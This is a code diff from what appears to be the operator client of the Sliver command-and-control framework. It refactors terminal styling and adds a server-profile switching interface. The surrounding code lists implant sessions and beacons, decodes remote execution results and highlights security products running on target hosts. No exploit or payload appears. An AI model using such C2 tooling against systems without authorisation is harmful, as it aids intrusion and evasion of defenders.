@@ -281,15 +281,15 @@ func findKnownSecurityProducts(ps *sliverpb.Ps) []string {
func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.SliverClient) table.Row {
session, beacon := con.ActiveTarget.GetInteractive()
color := console.Normal
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
color = secTool[0]
style := console.StyleNormal
if _, ok := knownSecurityTools[proc.Executable]; ok {
style = console.StyleRed
}
if session != nil && proc.Pid == session.PID {
color = console.Green
style = console.StyleGreen
}
if beacon != nil && proc.Pid == beacon.PID {
color = console.Green
style = console.StyleGreen
}
var row table.Row
@@ -303,28 +303,28 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
args = proc.Executable
}
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, args),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
style.Render(fmt.Sprintf("%d", proc.Pid)),
style.Render(fmt.Sprintf("%d", proc.Ppid)),
style.Render(proc.Owner),
style.Render(proc.Architecture),
style.Render(args),
style.Render(fmt.Sprintf("%d", proc.SessionID)),
}
} else {
if fullInfo {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
fmt.Sprintf(color+"%d"+console.Normal, proc.SessionID),
style.Render(fmt.Sprintf("%d", proc.Pid)),
style.Render(fmt.Sprintf("%d", proc.Ppid)),
style.Render(proc.Owner),
style.Render(proc.Architecture),
style.Render(proc.Executable),
style.Render(fmt.Sprintf("%d", proc.SessionID)),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
style.Render(fmt.Sprintf("%d", proc.Pid)),
style.Render(fmt.Sprintf("%d", proc.Ppid)),
style.Render(proc.Executable),
}
}
}
@@ -341,26 +341,26 @@ func procRow(proc *commonpb.Process, cmdLine bool, fullInfo bool, con *console.S
args = proc.Executable
}
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, args),
style.Render(fmt.Sprintf("%d", proc.Pid)),
style.Render(fmt.Sprintf("%d", proc.Ppid)),
style.Render(proc.Owner),
style.Render(proc.Architecture),
style.Render(args),
}
} else {
if fullInfo {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Owner),
fmt.Sprintf(color+"%s"+console.Normal, proc.Architecture),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
style.Render(fmt.Sprintf("%d", proc.Pid)),
style.Render(fmt.Sprintf("%d", proc.Ppid)),
style.Render(proc.Owner),
style.Render(proc.Architecture),
style.Render(proc.Executable),
}
} else {
row = table.Row{
fmt.Sprintf(color+"%d"+console.Normal, proc.Pid),
fmt.Sprintf(color+"%d"+console.Normal, proc.Ppid),
fmt.Sprintf(color+"%s"+console.Normal, proc.Executable),
style.Render(fmt.Sprintf("%d", proc.Pid)),
style.Render(fmt.Sprintf("%d", proc.Ppid)),
style.Render(proc.Executable),
}
}
}
+5 -6
View File
@@ -1,7 +1,6 @@
package processes
import (
"fmt"
"sort"
"github.com/xlab/treeprint"
@@ -108,14 +107,14 @@ func (t *PsTree) AddProcess(proc *commonpb.Process) {
}
func (t *PsTree) filterProc(proc *commonpb.Process) string {
color := console.Normal
style := console.StyleNormal
if proc.Pid == t.implantPID {
color = console.Green
style = console.StyleGreen
}
if secTool, ok := knownSecurityTools[proc.Executable]; ok {
color = secTool[0]
if _, ok := knownSecurityTools[proc.Executable]; ok {
style = console.StyleRed
}
return fmt.Sprintf(color+"%s"+console.Normal, proc.Executable)
return style.Render(proc.Executable)
}
func (t *PsTree) String() string {
+1 -2
View File
@@ -19,7 +19,6 @@ package reaction
*/
import (
"fmt"
"strings"
"github.com/bishopfox/sliver/client/command/settings"
@@ -51,7 +50,7 @@ func ReactionCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
func displayReactionsTable(eventType string, reactions []core.Reaction, con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.SetTitle(fmt.Sprintf(console.Bold+"%s"+console.Normal, EventTypeToTitle(eventType)))
tw.SetTitle(console.StyleBold.Render(EventTypeToTitle(eventType)))
tw.AppendSeparator()
slackSpace := len(EventTypeToTitle(eventType)) - len("Commands") - len("ID") - 3
if slackSpace < 0 {
+2
View File
@@ -44,6 +44,7 @@ import (
"github.com/bishopfox/sliver/client/command/monitor"
"github.com/bishopfox/sliver/client/command/operators"
"github.com/bishopfox/sliver/client/command/reaction"
"github.com/bishopfox/sliver/client/command/serverctx"
"github.com/bishopfox/sliver/client/command/sessions"
"github.com/bishopfox/sliver/client/command/settings"
shellcodeencoders "github.com/bishopfox/sliver/client/command/shellcode-encoders"
@@ -97,6 +98,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
// Core
bind(consts.GenericHelpGroup,
exit.Command,
serverctx.Commands,
licenses.Commands,
settings.Commands,
alias.Commands,
+609
View File
@@ -0,0 +1,609 @@
//go:build client
package serverctx
import (
"context"
"crypto/sha256"
"crypto/x509"
"encoding/pem"
"fmt"
"sort"
"strings"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/console"
clienttheme "github.com/bishopfox/sliver/client/theme"
"github.com/bishopfox/sliver/client/transport"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/charmbracelet/bubbles/key"
tea "github.com/charmbracelet/bubbletea"
"github.com/charmbracelet/huh"
"github.com/charmbracelet/lipgloss"
"github.com/spf13/cobra"
"google.golang.org/grpc/connectivity"
)
// Commands returns client-only server connection context commands.
func Commands(con *console.SliverClient) []*cobra.Command {
root := &cobra.Command{
Use: "server",
Short: "Show and manage the current server connection",
Run: func(cmd *cobra.Command, args []string) {
serverInfo(cmd, con)
},
}
switchCmd := &cobra.Command{
Use: "switch",
Short: "Switch to another server/operator profile",
Run: func(cmd *cobra.Command, args []string) {
serverSwitch(cmd, con)
},
}
root.AddCommand(switchCmd)
return []*cobra.Command{root}
}
func serverInfo(_ *cobra.Command, con *console.SliverClient) {
details, state, ok := con.CurrentConnection()
if !ok || con.Rpc == nil {
con.PrintErrorf("Not connected\n")
return
}
var hostPort string
operator := ""
fingerprint := ""
if details != nil && details.Config != nil {
hostPort = fmt.Sprintf("%s:%d", details.Config.LHost, details.Config.LPort)
operator = operatorFromConfig(details.Config)
fingerprint = shortCertFingerprint(details.Config)
}
if operator == "" {
operator = "<unknown>"
}
if hostPort == "" {
hostPort = "<unknown>"
}
ver, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{})
if err != nil {
con.PrintErrorf("GetVersion failed: %s\n", err)
return
}
const keyWidth = 8 // Align on ": " (e.g., "Operator", "Version")
label := func(key string) string {
// Bold "default/white" label keys, padded so colons align.
return console.StyleBoldGray.Render(fmt.Sprintf("%-*s:", keyWidth, key))
}
valueSecondary := func(s string) string { return console.StylePurple.Render(s) }
valueDim := func(s string) string { return console.StyleGray.Render(s) }
stateStyle := console.StyleGray
switch state {
case connectivity.Ready:
stateStyle = console.StyleGreen
case connectivity.Connecting:
stateStyle = console.StyleOrange
case connectivity.TransientFailure, connectivity.Shutdown:
stateStyle = console.StyleRed
case connectivity.Idle:
stateStyle = console.StyleOrange
}
// Server/operator values should be "default" terminal text (not themed colorized).
con.Printf("%s %s\n", label("Server"), hostPort)
if details != nil && details.ConfigKey != "" {
con.Printf("%s %s\n", label("Profile"), valueSecondary(details.ConfigKey))
}
con.Printf("%s %s\n", label("Operator"), operator)
if fingerprint != "" {
con.Printf("%s %s\n", label("Cert"), valueDim(fingerprint))
}
con.Printf("%s %s\n", label("gRPC"), stateStyle.Render(state.String()))
con.Printf("%s %s %s\n",
label("Version"),
console.StyleBold.Render(fmt.Sprintf("%d.%d.%d", ver.Major, ver.Minor, ver.Patch)),
valueDim("("+ver.Commit+")"),
)
}
func serverSwitch(_ *cobra.Command, con *console.SliverClient) {
configs := assets.GetConfigs()
if len(configs) == 0 {
con.PrintErrorf("No config files found at %s\n", assets.GetConfigDir())
return
}
keys := make([]string, 0, len(configs))
for k := range configs {
keys = append(keys, k)
}
sort.Strings(keys)
mgr := getConsoleManager(con)
mgr.syncActiveFromConsole(con)
instances, activeID := mgr.snapshot()
result, err := runSwitchTUI(instances, activeID, keys, mgr.configInstanceCountsLocked(instances))
if err != nil {
con.PrintErrorf("TUI error: %s\n", err)
return
}
if result.Action == actionNone {
return
}
switch result.Action {
case actionSwitchExisting:
inst := mgr.findInstance(result.ExistingID)
if inst == nil || inst.Config == nil {
con.PrintErrorf("Invalid selection\n")
return
}
if inst.ID == activeID {
con.PrintInfof("Already on %s\n", inst.DisplayName())
return
}
rpc, conn, err := transport.MTLSConnect(inst.Config)
if err != nil {
con.PrintErrorf("Connection failed: %s\n", err)
return
}
if err := con.SetConnection(rpc, conn, &console.ConnectionDetails{ConfigKey: inst.ConfigKey, Config: inst.Config}); err != nil {
_ = conn.Close()
con.PrintErrorf("Switch failed: %s\n", err)
return
}
mgr.setActive(inst.ID)
con.PrintSuccessf("Switched to %s:%d (%s)\n", inst.Config.LHost, inst.Config.LPort, inst.DisplayName())
case actionNewConsole:
cfg := configs[result.ConfigKey]
if cfg == nil {
con.PrintErrorf("Invalid selection\n")
return
}
rpc, conn, err := transport.MTLSConnect(cfg)
if err != nil {
con.PrintErrorf("Connection failed: %s\n", err)
return
}
if err := con.SetConnection(rpc, conn, &console.ConnectionDetails{ConfigKey: result.ConfigKey, Config: cfg}); err != nil {
_ = conn.Close()
con.PrintErrorf("Switch failed: %s\n", err)
return
}
inst := mgr.addInstance(result.ConfigKey, cfg)
con.PrintSuccessf("Connected to %s:%d (%s)\n", cfg.LHost, cfg.LPort, inst.DisplayName())
}
}
var consoleManagers sync.Map // *console.SliverClient -> *consoleManager
type consoleManager struct {
mu sync.Mutex
nextID int
activeID string
insts []*consoleInstance
}
type consoleInstance struct {
ID string
ConfigKey string
Config *assets.ClientConfig
CreatedAt time.Time
LastUsed time.Time
}
func (i *consoleInstance) DisplayName() string {
if i == nil {
return ""
}
return fmt.Sprintf("console-%s", i.ID)
}
func getConsoleManager(con *console.SliverClient) *consoleManager {
if con == nil {
return &consoleManager{}
}
if v, ok := consoleManagers.Load(con); ok {
return v.(*consoleManager)
}
m := &consoleManager{}
actual, _ := consoleManagers.LoadOrStore(con, m)
return actual.(*consoleManager)
}
func (m *consoleManager) syncActiveFromConsole(con *console.SliverClient) {
if m == nil || con == nil {
return
}
details, _, ok := con.CurrentConnection()
if !ok || details == nil || details.Config == nil || details.ConfigKey == "" {
return
}
m.mu.Lock()
defer m.mu.Unlock()
// If we already have an active instance, keep it. Otherwise create one from the current connection.
if m.activeID != "" {
return
}
m.nextID++
id := fmt.Sprintf("%d", m.nextID)
now := time.Now()
m.activeID = id
m.insts = append(m.insts, &consoleInstance{
ID: id,
ConfigKey: details.ConfigKey,
Config: details.Config,
CreatedAt: now,
LastUsed: now,
})
}
func (m *consoleManager) snapshot() ([]*consoleInstance, string) {
m.mu.Lock()
defer m.mu.Unlock()
out := make([]*consoleInstance, 0, len(m.insts))
out = append(out, m.insts...)
return out, m.activeID
}
func (m *consoleManager) findInstance(id string) *consoleInstance {
m.mu.Lock()
defer m.mu.Unlock()
for _, inst := range m.insts {
if inst != nil && inst.ID == id {
return inst
}
}
return nil
}
func (m *consoleManager) setActive(id string) {
m.mu.Lock()
defer m.mu.Unlock()
m.activeID = id
for _, inst := range m.insts {
if inst != nil && inst.ID == id {
inst.LastUsed = time.Now()
break
}
}
}
func (m *consoleManager) addInstance(configKey string, cfg *assets.ClientConfig) *consoleInstance {
m.mu.Lock()
defer m.mu.Unlock()
m.nextID++
id := fmt.Sprintf("%d", m.nextID)
now := time.Now()
inst := &consoleInstance{
ID: id,
ConfigKey: configKey,
Config: cfg,
CreatedAt: now,
LastUsed: now,
}
m.insts = append(m.insts, inst)
m.activeID = id
return inst
}
func (m *consoleManager) configInstanceCountsLocked(insts []*consoleInstance) map[string]int {
// Caller provides insts snapshot; we just count.
counts := map[string]int{}
for _, inst := range insts {
if inst == nil {
continue
}
counts[inst.ConfigKey]++
}
return counts
}
type switchAction int
const (
actionNone switchAction = iota
actionSwitchExisting
actionNewConsole
)
type switchResult struct {
Action switchAction
ExistingID string
ConfigKey string
}
type switchTab int
const (
tabExisting switchTab = iota
tabNew
)
type switchTUIModel struct {
tab switchTab
existing *huh.Form
newConn *huh.Form
result switchResult
width int
height int
theme *huh.Theme
styles switchStyles
activeID string
counts map[string]int
initOnce bool
keyMap *huh.KeyMap
}
type switchStyles struct {
frame lipgloss.Style
header lipgloss.Style
tabActive lipgloss.Style
tabInactive lipgloss.Style
footer lipgloss.Style
footerDim lipgloss.Style
divider lipgloss.Style
}
func runSwitchTUI(instances []*consoleInstance, activeID string, configKeys []string, counts map[string]int) (switchResult, error) {
m := newSwitchTUIModel(instances, activeID, configKeys, counts)
prog := tea.NewProgram(m, tea.WithAltScreen())
finalModel, err := prog.Run()
if err != nil {
return switchResult{}, err
}
out, ok := finalModel.(switchTUIModel)
if !ok {
return switchResult{}, fmt.Errorf("unexpected TUI state")
}
return out.result, nil
}
func newSwitchTUIModel(instances []*consoleInstance, activeID string, configKeys []string, counts map[string]int) switchTUIModel {
keyMap := huh.NewDefaultKeyMap()
// Free up tab for switching between views; use enter to select/advance.
keyMap.Select.Next = key.NewBinding(key.WithKeys("enter"), key.WithHelp("enter", "select"))
keyMap.Select.Submit = key.NewBinding(key.WithKeys("enter"), key.WithHelp("enter", "submit"))
huhTheme := clienttheme.HuhTheme()
styles := switchStyles{
frame: lipgloss.NewStyle().
Border(lipgloss.RoundedBorder()).
BorderForeground(clienttheme.DefaultMod(300)).
Padding(0, 1),
header: lipgloss.NewStyle().MarginBottom(1),
tabActive: lipgloss.NewStyle().
Bold(true).
Foreground(clienttheme.DefaultMod(900)).
Background(clienttheme.Primary()).
Padding(0, 1),
tabInactive: lipgloss.NewStyle().
Foreground(clienttheme.DefaultMod(500)).
Background(clienttheme.DefaultMod(50)).
Padding(0, 1),
footer: lipgloss.NewStyle().MarginTop(1),
footerDim: lipgloss.NewStyle().Foreground(clienttheme.DefaultMod(400)),
divider: lipgloss.NewStyle().Foreground(clienttheme.DefaultMod(300)),
}
existingID := activeID
existingOptions := make([]huh.Option[string], 0, len(instances))
for _, inst := range instances {
if inst == nil {
continue
}
label := fmt.Sprintf("%s %s", inst.DisplayName(), inst.ConfigKey)
if inst.ID == activeID && activeID != "" {
label = fmt.Sprintf("* %s", label)
}
existingOptions = append(existingOptions, huh.NewOption(label, inst.ID))
}
if len(existingOptions) == 0 {
// Always provide at least one option so Huh doesn't error.
existingOptions = append(existingOptions, huh.NewOption("(no existing consoles)", ""))
}
existingSelect := huh.NewSelect[string]().
Title("Existing Consoles").
Description("Switch to an already-created console context. Use / to filter.").
Options(existingOptions...).
Key("existing").
Value(&existingID)
existingForm := huh.NewForm(huh.NewGroup(existingSelect)).
WithTheme(huhTheme).
WithKeyMap(keyMap).
WithShowHelp(false)
newKey := ""
configOptions := make([]huh.Option[string], 0, len(configKeys))
for _, k := range configKeys {
label := k
if n := counts[k]; n > 0 {
label = fmt.Sprintf("%s (existing: %d)", k, n)
}
configOptions = append(configOptions, huh.NewOption(label, k))
if newKey == "" {
newKey = k
}
}
newSelect := huh.NewSelect[string]().
Title("New Connection / Console").
Description("Create a new console context from a profile in ~/.sliver-client/configs. Use / to filter.").
Options(configOptions...).
Key("config").
Value(&newKey)
newForm := huh.NewForm(huh.NewGroup(newSelect)).
WithTheme(huhTheme).
WithKeyMap(keyMap).
WithShowHelp(false)
return switchTUIModel{
tab: tabExisting,
existing: existingForm,
newConn: newForm,
theme: huhTheme,
styles: styles,
activeID: activeID,
counts: counts,
keyMap: keyMap,
}
}
func (m switchTUIModel) Init() tea.Cmd {
// Initialize both forms so they're ready when switching tabs.
return tea.Batch(m.existing.Init(), m.newConn.Init())
}
func (m switchTUIModel) Update(msg tea.Msg) (tea.Model, tea.Cmd) {
switch msg := msg.(type) {
case tea.WindowSizeMsg:
m.width = msg.Width
m.height = msg.Height
// Forward to both forms so they size correctly.
modelA, cmdA := m.existing.Update(msg)
modelB, cmdB := m.newConn.Update(msg)
m.existing = modelA.(*huh.Form)
m.newConn = modelB.(*huh.Form)
return m, tea.Batch(cmdA, cmdB)
case tea.KeyMsg:
switch msg.String() {
case "tab":
if m.tab == tabExisting {
m.tab = tabNew
} else {
m.tab = tabExisting
}
return m, nil
case "shift+tab":
if m.tab == tabExisting {
m.tab = tabNew
} else {
m.tab = tabExisting
}
return m, nil
}
}
// Delegate to active tab's form.
switch m.tab {
case tabExisting:
model, cmd := m.existing.Update(msg)
m.existing = model.(*huh.Form)
if m.existing.State == huh.StateCompleted {
id := m.existing.GetString("existing")
if id != "" {
m.result = switchResult{Action: actionSwitchExisting, ExistingID: id}
}
return m, tea.Quit
}
if m.existing.State == huh.StateAborted {
m.result = switchResult{Action: actionNone}
return m, tea.Quit
}
return m, cmd
case tabNew:
model, cmd := m.newConn.Update(msg)
m.newConn = model.(*huh.Form)
if m.newConn.State == huh.StateCompleted {
key := m.newConn.GetString("config")
if key != "" {
m.result = switchResult{Action: actionNewConsole, ConfigKey: key}
}
return m, tea.Quit
}
if m.newConn.State == huh.StateAborted {
m.result = switchResult{Action: actionNone}
return m, tea.Quit
}
return m, cmd
}
return m, nil
}
func (m switchTUIModel) View() string {
header := m.renderHeader()
body := ""
switch m.tab {
case tabExisting:
body = m.existing.View()
case tabNew:
body = m.newConn.View()
}
footer := m.renderFooter()
content := lipgloss.JoinVertical(lipgloss.Left, header, body, footer)
return m.styles.frame.Render(content)
}
func (m switchTUIModel) renderHeader() string {
left := m.styles.tabInactive.Render("Existing")
right := m.styles.tabInactive.Render("New")
if m.tab == tabExisting {
left = m.styles.tabActive.Render("Existing")
} else {
right = m.styles.tabActive.Render("New")
}
line := lipgloss.JoinHorizontal(lipgloss.Left, left, m.styles.divider.Render(" "), right)
return m.styles.header.Render(line)
}
func (m switchTUIModel) renderFooter() string {
keys := "tab: switch view enter: select /: filter ctrl+c: cancel"
return m.styles.footerDim.Render(keys)
}
func operatorFromConfig(cfg *assets.ClientConfig) string {
if cfg == nil {
return ""
}
// Prefer the certificate CN, since config.Operator is mostly informational.
block, _ := pem.Decode([]byte(cfg.Certificate))
if block != nil {
cert, err := x509.ParseCertificate(block.Bytes)
if err == nil && cert.Subject.CommonName != "" {
return cert.Subject.CommonName
}
}
if strings.TrimSpace(cfg.Operator) != "" {
return strings.TrimSpace(cfg.Operator)
}
return ""
}
func shortCertFingerprint(cfg *assets.ClientConfig) string {
if cfg == nil {
return ""
}
digest := sha256.Sum256([]byte(cfg.Certificate))
return fmt.Sprintf("%x", digest[:8])
}
+13
View File
@@ -0,0 +1,13 @@
//go:build !client
package serverctx
import (
"github.com/bishopfox/sliver/client/console"
"github.com/spf13/cobra"
)
// Commands is a no-op when building without the `client` build tag (e.g. sliver-server).
func Commands(_ *console.SliverClient) []*cobra.Command {
return nil
}
+20 -20
View File
@@ -192,15 +192,15 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
})
for _, session := range sessions {
color := console.Normal
style := console.StyleNormal
if con.ActiveTarget.GetSession() != nil && con.ActiveTarget.GetSession().ID == session.ID {
color = console.Green
style = console.StyleGreen
}
var SessionHealth string
if session.IsDead {
SessionHealth = console.Bold + console.Red + "[DEAD]" + console.Normal
SessionHealth = console.StyleBoldRed.Render("[DEAD]")
} else {
SessionHealth = console.Bold + console.Green + "[ALIVE]" + console.Normal
SessionHealth = console.StyleBoldGreen.Render("[ALIVE]")
}
burned := ""
if session.Burned {
@@ -211,33 +211,33 @@ func PrintSessions(sessions map[string]*clientpb.Session, filter string, filterR
var rowEntries []string
if wideTermWidth {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Name),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s (%d)"+console.Normal, session.Filename, session.PID),
style.Render(ShortSessionID(session.ID)),
style.Render(session.Name),
style.Render(session.Transport),
style.Render(session.RemoteAddress),
style.Render(session.Hostname),
style.Render(username),
style.Render(fmt.Sprintf("%s (%d)", session.Filename, session.PID)),
}
if windowsSessionInList {
rowEntries = append(rowEntries, fmt.Sprintf(color+"%s"+console.Normal, session.Integrity))
rowEntries = append(rowEntries, style.Render(session.Integrity))
}
rowEntries = append(rowEntries, []string{
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
fmt.Sprintf(color+"%s"+console.Normal, session.Locale),
style.Render(fmt.Sprintf("%s/%s", session.OS, session.Arch)),
style.Render(session.Locale),
con.FormatDateDelta(time.Unix(session.LastCheckin, 0), wideTermWidth, false),
burned + SessionHealth,
}...)
} else {
rowEntries = []string{
fmt.Sprintf(color+"%s"+console.Normal, ShortSessionID(session.ID)),
fmt.Sprintf(color+"%s"+console.Normal, session.Transport),
fmt.Sprintf(color+"%s"+console.Normal, session.RemoteAddress),
fmt.Sprintf(color+"%s"+console.Normal, session.Hostname),
fmt.Sprintf(color+"%s"+console.Normal, username),
fmt.Sprintf(color+"%s/%s"+console.Normal, session.OS, session.Arch),
style.Render(ShortSessionID(session.ID)),
style.Render(session.Transport),
style.Render(session.RemoteAddress),
style.Render(session.Hostname),
style.Render(username),
style.Render(fmt.Sprintf("%s/%s", session.OS, session.Arch)),
burned + SessionHealth,
}
}
+13
View File
@@ -20,6 +20,7 @@ package settings
import (
"errors"
"path/filepath"
"strconv"
"strings"
@@ -58,12 +59,22 @@ func SettingsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
con.PrintErrorf("Failed to apply settings form values: %s\n", err)
return
}
if err := assets.SaveSettings(con.Settings); err != nil {
con.PrintErrorf("Failed to save settings: %s\n", err)
return
}
if assets.NormalizePromptStyle(result.PromptStyle) == assets.PromptStyleCustom {
settingsPath := filepath.Join(assets.GetRootAppDir(), "tui-settings.yaml")
con.PrintInfof("Prompt style is %q. Edit %s to set %q.\n", assets.PromptStyleCustom, settingsPath, "prompt_template")
con.Println("")
}
}
tw := table.NewWriter()
tw.SetStyle(GetTableStyle(con))
tw.AppendHeader(table.Row{"Name", "Value", "Description"})
tw.AppendRow(table.Row{"Tables", con.Settings.TableStyle, "Set the stylization of tables"})
tw.AppendRow(table.Row{"Prompt", con.Settings.PromptStyle, "Set the console prompt prefix style"})
tw.AppendRow(table.Row{"Auto Adult", con.Settings.AutoAdult, "Automatically accept OPSEC warnings"})
tw.AppendRow(table.Row{"Auto Beacon Results", con.Settings.BeaconAutoResults, "Automatically display beacon results when tasks complete"})
tw.AppendRow(table.Row{"Small Term Width", con.Settings.SmallTermWidth, "Omit some table columns when terminal width is less than this value"})
@@ -221,6 +232,7 @@ func applySettingsForm(settings *assets.ClientSettings, result *forms.SettingsFo
if width < 1 {
return errors.New("small terminal width must be 1 or greater")
}
promptStyle := assets.NormalizePromptStyle(result.PromptStyle)
settings.TableStyle = result.TableStyle
settings.AutoAdult = result.AutoAdult
@@ -230,5 +242,6 @@ func applySettingsForm(settings *assets.ClientSettings, result *forms.SettingsFo
settings.VimMode = result.VimMode
settings.UserConnect = result.UserConnect
settings.ConsoleLogs = result.ConsoleLogs
settings.PromptStyle = promptStyle
return nil
}
+2 -2
View File
@@ -218,12 +218,12 @@ func PaginateTable(tw table.Writer, skipPages int, overflow bool, interactive bo
}
con.Println()
} else {
con.Printf(console.Bold+"Page [%d/%d]\n", pageNumber+1, len(pages))
con.Printf("%s\n", console.StyleBold.Render(fmt.Sprintf("Page [%d/%d]", pageNumber+1, len(pages))))
}
}
} else {
if 1 < len(pages) {
con.Printf(console.Bold+"Page [%d/%d]\n", pageNumber+1, len(pages))
con.Printf("%s\n", console.StyleBold.Render(fmt.Sprintf("Page [%d/%d]", pageNumber+1, len(pages))))
}
break
}
+2 -2
View File
@@ -190,7 +190,7 @@ func SelectMultipleBeaconsAndSessions(con *console.SliverClient) ([]*clientpb.Se
session.Username,
fmt.Sprintf("%s/%s", session.OS, session.Arch),
)
fmt.Fprintf(table, option+"\n")
fmt.Fprintln(table, option)
o := strings.ReplaceAll(option, "\t", "")
sessionOptionMap[o] = session
}
@@ -206,7 +206,7 @@ func SelectMultipleBeaconsAndSessions(con *console.SliverClient) ([]*clientpb.Se
beacon.Username,
fmt.Sprintf("%s/%s", beacon.OS, beacon.Arch),
)
fmt.Fprintf(table, option+"\n")
fmt.Fprintln(table, option)
o := strings.ReplaceAll(option, "\t", "")
beaconOptionMap[o] = beacon
}
+14 -4
View File
@@ -126,7 +126,7 @@ func filterTasksByTaskType(taskType string, tasks []*clientpb.BeaconTask) []*cli
func PrintTask(task *clientpb.BeaconTask, con *console.SliverClient) {
tw := table.NewWriter()
tw.SetStyle(settings.GetTableWithBordersStyle(con))
tw.AppendRow(table.Row{console.Bold + "Beacon Task" + console.Normal, task.ID})
tw.AppendRow(table.Row{console.StyleBold.Render("Beacon Task"), task.ID})
tw.AppendSeparator()
tw.AppendRow(table.Row{"State", emojiState(task.State) + " " + prettyState(strings.Title(task.State))})
tw.AppendRow(table.Row{"Description", task.Description})
@@ -285,11 +285,12 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
}
f := pflag.NewFlagSet(constants.ExecuteStr, pflag.ContinueOnError)
f.BoolP("output", "o", true, "capture command output")
f.BoolP("output", "o", execReq.Output, "capture command output")
f.Bool("background", execReq.Background, "start the process in the background and track it")
f.BoolP("loot", "X", false, "save output as loot")
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
f.StringP("stdout", "O", "", "remote path to redirect STDOUT to")
f.StringP("stderr", "E", "", "remote path to redirect STDERR to")
f.StringP("stdout", "O", execReq.Stdout, "remote path to redirect STDOUT to")
f.StringP("stderr", "E", execReq.Stderr, "remote path to redirect STDERR to")
execCmd := &cobra.Command{Use: constants.ExecuteStr}
execCmd.Flags().AddFlagSet(f)
@@ -297,6 +298,15 @@ func renderTaskResponse(task *clientpb.BeaconTask, con *console.SliverClient) {
exec.PrintExecute(execResult, execCmd, con)
case sliverpb.MsgExecuteChildrenReq:
execChildren := &sliverpb.ExecuteChildren{}
err := proto.Unmarshal(task.Response, execChildren)
if err != nil {
con.PrintErrorf("Failed to decode task response: %s\n", err)
return
}
exec.PrintExecuteChildren(execChildren, con)
case sliverpb.MsgSideloadReq:
sideload := &sliverpb.Sideload{}
err := proto.Unmarshal(task.Response, sideload)
+4 -4
View File
@@ -93,13 +93,13 @@ func PrintBeaconTasks(tasks []*clientpb.BeaconTask, cmd *cobra.Command, con *con
func prettyState(state string) string {
switch strings.ToLower(state) {
case "pending":
return console.Bold + state + console.Normal
return console.StyleBold.Render(state)
case "sent":
return console.Bold + console.Orange + state + console.Normal
return console.StyleBoldOrange.Render(state)
case "completed":
return console.Bold + console.Green + state + console.Normal
return console.StyleBoldGreen.Render(state)
case "canceled":
return console.Bold + console.Gray + state + console.Normal
return console.StyleBoldGray.Render(state)
default:
return state
}
+1 -1
View File
@@ -278,7 +278,7 @@ func WasmLsCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
cacheLine = " (cached)"
} else {
wasmRegistrationCache[idOf(con)] = append(wasmRegistrationCache[idOf(con)], extName)
cacheLine = console.Bold + console.Green + " +++" + console.Normal
cacheLine = console.StyleBoldGreen.Render(" +++")
}
con.PrintInfof(" %s%s\n", extName, cacheLine)
}
+160
View File
@@ -0,0 +1,160 @@
package console
import (
"context"
"errors"
"fmt"
"log"
"os"
"sync"
"time"
"github.com/bishopfox/sliver/client/assets"
"github.com/bishopfox/sliver/client/core"
"github.com/bishopfox/sliver/protobuf/rpcpb"
"google.golang.org/grpc"
"google.golang.org/grpc/connectivity"
)
// ConnectionDetails provides (optional) metadata about the active connection.
// In the sliver-client binary this is typically sourced from ~/.sliver-client/configs/*.
type ConnectionDetails struct {
ConfigKey string
Config *assets.ClientConfig
}
// CurrentConnection returns the current connection metadata, if any.
func (con *SliverClient) CurrentConnection() (*ConnectionDetails, connectivity.State, bool) {
con.connMu.Lock()
defer con.connMu.Unlock()
if con.grpcConn == nil {
return con.connDetails, connectivity.Idle, false
}
return con.connDetails, con.grpcConn.GetState(), true
}
// SetConnection swaps the active RPC connection, restarting streams (events/tunnels/logs).
// It is safe to call multiple times (e.g., on server switch).
func (con *SliverClient) SetConnection(rpc rpcpb.SliverRPCClient, grpcConn *grpc.ClientConn, details *ConnectionDetails) error {
con.connMu.Lock()
defer con.connMu.Unlock()
con.detachConnectionLocked()
